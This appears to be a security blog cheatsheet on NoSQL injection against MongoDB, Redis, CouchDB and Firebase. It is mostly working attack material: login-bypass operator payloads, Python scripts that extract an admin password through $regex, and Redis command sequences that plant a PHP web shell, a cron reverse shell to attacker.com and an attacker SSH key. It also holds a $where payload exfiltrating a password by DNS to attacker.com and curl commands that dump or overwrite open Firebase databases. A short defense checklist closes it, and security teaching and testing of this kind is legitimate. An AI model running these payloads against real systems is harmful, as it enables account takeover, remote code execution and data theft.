NoSQL Injection Cheatsheet: MongoDB, Redis, CouchDB & Firebase | Tağmaç - root@Tagoletta:~#

NoSQL Injection Cheatsheet: MongoDB, Redis, CouchDB & Firebase

Thu May 28 2026

Category: Cheatsheet


MongoDB — Operator Injection

MongoDB queries use operators like $gt, $regex, $where. Injecting these can alter query logic.

Authentication Bypass

# Normal login query:
db.users.findOne({username: "admin", password: "secret"})

# Injected via POST body (JSON):
{"username": "admin", "password": {"$gt": ""}}
# $gt: "" means "password greater than empty string" = any password → bypass

{"username": "admin", "password": {"$ne": "wrongpassword"}}
# $ne: not equal → always true for any other value

{"username": {"$gt": ""}, "password": {"$gt": ""}}
# Both bypass → login as first user in DB (often admin)

{"username": "admin", "password": {"$regex": ".*"}}
# Regex matches any string

{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}

URL-encoded Form Injection

# If app accepts application/x-www-form-urlencoded:
username=admin&password[$gt]=
username=admin&password[$ne]=invalid
username[$gt]=&password[$gt]=
username=admin&password[$regex]=.*

$where JavaScript Injection

// Vulnerable query:
db.users.find({$where: "this.username == '" + input + "'"})

// Injection (tautology):
' || '1'=='1
' || 1==1 || '1'=='1

// Time-based blind detection:
' || sleep(5000) || '1'=='
'; sleep(5000); var foo='

// Data exfiltration via timing (character-by-character):
' || (this.password[0].charCodeAt(0) == 97 && sleep(5000)) || '1'=='1
' || (this.password.match(/^a/) && sleep(5000)) || '1'=='1

MongoDB — Blind NoSQLi (Operator Based)

Extract data character by character using $regex:

# Test: is the password 8 characters long?
{"password": {"$regex": "^.{8}$"}}

# Test: does password start with 'a'?
{"password": {"$regex": "^a"}}
{"password": {"$regex": "^b"}}   # if no match, try next character

# Extract full password:
{"password": {"$regex": "^a.*"}}   → match → first char is 'a'
{"password": {"$regex": "^ab.*"}}  → match → second char is 'b'
...

# Python automation:
import requests, string

target = "https://target.com/api/login"
charset = string.ascii_lowercase + string.digits + string.punctuation

known = ""
while True:
    found = False
    for c in charset:
        payload = {"username": "admin", "password": {"$regex": f"^{known}{c}.*"}}
        r = requests.post(target, json=payload)
        if r.status_code == 200 and "welcome" in r.text.lower():
            known += c
            print(f"Found: {known}")
            found = True
            break
    if not found:
        print(f"Complete password: {known}")
        break

MongoDB — GraphQL NoSQLi

# If API uses MongoDB under GraphQL:
{
  user(username: "admin\", password: {\"$gt\": \"\"}") {
    id
    email
    token
  }
}

# Operator injection in GraphQL variables:
query GetUser($username: String, $password: String) {
  user(username: $username, password: $password) { token }
}

Variables:
{"username": "admin", "password": {"$ne": "x"}}

MongoDB — JavaScript Injection via $where

// Extract data via error messages or timing:
' || (function(){var d=db.users.findOne({username:"admin"});sleep(d.password.length * 100); return 1;})() || '

// Exfiltrate via DNS (if network access):
' || (function(){var d=db.users.findOne({username:"admin"}); new Mongo().connect(d.password+".attacker.com"); return 1;})() || '

MongoDB — Server-Side JavaScript (mapReduce)

// If app exposes mapReduce:
db.collection.mapReduce(
  "function(){emit(this.username, this.password);}",
  "function(k,v){return v;}",
  {out: {inline: 1}}
)

// Inject into map function:
"function(){emit(this.username, this.password); var x=new Mongo(); x.getDB('test').getCollection('exfil').insert({data:this.password}); emit(1,1);}"

Redis Injection

# If user input is injected into Redis commands:

# CRLF injection to execute arbitrary commands
input = "key\r\nSET malicious_key malicious_value\r\n"

# AUTH bypass (if no password):
redis-cli -h target.com PING   # if returns PONG → unauthenticated access

# Config file write → RCE (requires write access):
redis-cli -h target.com
> CONFIG SET dir /var/www/html
> CONFIG SET dbfilename shell.php
> SET x "<?php system($_GET['cmd']); ?>"
> BGSAVE
# Access: http://target.com/shell.php?cmd=id

# Cron-based RCE:
> CONFIG SET dir /var/spool/cron/crontabs
> CONFIG SET dbfilename root
> SET x "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
> BGSAVE

# SSH key write:
> CONFIG SET dir /root/.ssh
> CONFIG SET dbfilename authorized_keys
> SET x "\n\nssh-rsa AAAA...attacker_pubkey...\n\n"
> BGSAVE

CouchDB Injection

# Direct API access (no auth by default in old versions):
curl http://target.com:5984/_all_dbs
curl http://target.com:5984/users/_all_docs
curl http://target.com:5984/users/admin

# If app proxies queries:
?q={"selector":{"$or":[{"username":"admin"},{"admin":{"$gt":0}}]}}

# CouchDB show/list function injection:
GET /db/_design/malicious/_show/func/docid

Firebase NoSQLi

# Misconfigured Firebase — open read rules:
curl "https://project.firebaseio.com/.json"  # dump entire DB if rules allow

# Test specific paths:
curl "https://project.firebaseio.com/users.json"
curl "https://project.firebaseio.com/admin.json"

# If writeable:
curl -X PUT "https://project.firebaseio.com/users/9999.json" \
  -d '{"email":"[email protected]","role":"admin"}'

Real-World Examples

CVE / Incident Year Product Impact
Multiple Firebase leaks 2018–2021 Firebase apps Open rules → PII exposure (100M+ records across many apps)
CVE-2019-7612 2019 MongoDB Compass NoSQLi via $where in aggregation
Uber MongoDB 2022 Uber (partner API) NoSQL operator injection → partner data exposure
CVE-2020-35736 2020 GoCD MongoDB Unauthenticated NoSQLi → admin account creation
CouchDB CVE-2017-12635 2017 Apache CouchDB Privilege escalation via JSON document injection

Example: MongoDB Auth Bypass — POST Body

# Login request normally:
curl -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"secret"}'

# NoSQLi bypass:
curl -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$gt":""}}'
# Response: 200 OK + JWT token for admin account

Example: Blind NoSQLi — Extract Admin Password

import requests, string

url = "https://target.com/api/login"
headers = {"Content-Type": "application/json"}

password = ""
chars = string.ascii_letters + string.digits + "@#$!-_"

for position in range(1, 50):
    for char in chars:
        payload = {
            "username": "admin",
            "password": {"$regex": f"^{password}{char}"}
        }
        r = requests.post(url, json=payload, headers=headers)
        if "success" in r.text or r.status_code == 200:
            password += char
            print(f"[+] Password so far: {password}")
            break
    else:
        print(f"[!] Password complete: {password}")
        break

Example: Redis Unauthenticated → PHP Webshell

# Connect to exposed Redis
redis-cli -h target.com -p 6379

# Check access
127.0.0.1:6379> PING
PONG  ← unauthenticated!

# Write PHP shell to web root
127.0.0.1:6379> CONFIG SET dir /var/www/html
OK
127.0.0.1:6379> CONFIG SET dbfilename shell.php
OK
127.0.0.1:6379> SET payload "<?php system(\$_GET['cmd']); ?>"
OK
127.0.0.1:6379> BGSAVE
Background saving started

# Access shell
curl "http://target.com/shell.php?cmd=id"
# Output: uid=33(www-data)

Example: Firebase Open Rules

# Scan for misconfigured Firebase databases
# Target: project-id.firebaseio.com

curl -s "https://vulnerable-app.firebaseio.com/.json" | python3 -m json.tool

# Response: Full database dump
{
  "users": {
    "uid123": {"email": "[email protected]", "password": "plaintext!"},
    "uid456": {"email": "[email protected]", "role": "admin"}
  },
  "orders": {...},
  "messages": {...}
}

Defense Checklist

  • Use parameterized queries / ODM methods — never concatenate user input into queries
  • Disable MongoDB $where operator (set javascriptEnabled: false)
  • Apply input validation — reject objects/arrays where strings are expected
  • Require authentication on Redis, CouchDB, Firebase
  • Set restrictive Firebase Security Rules (".read": false by default)
  • Monitor for unusual query patterns (heavy $regex, $where, $gt: "")

References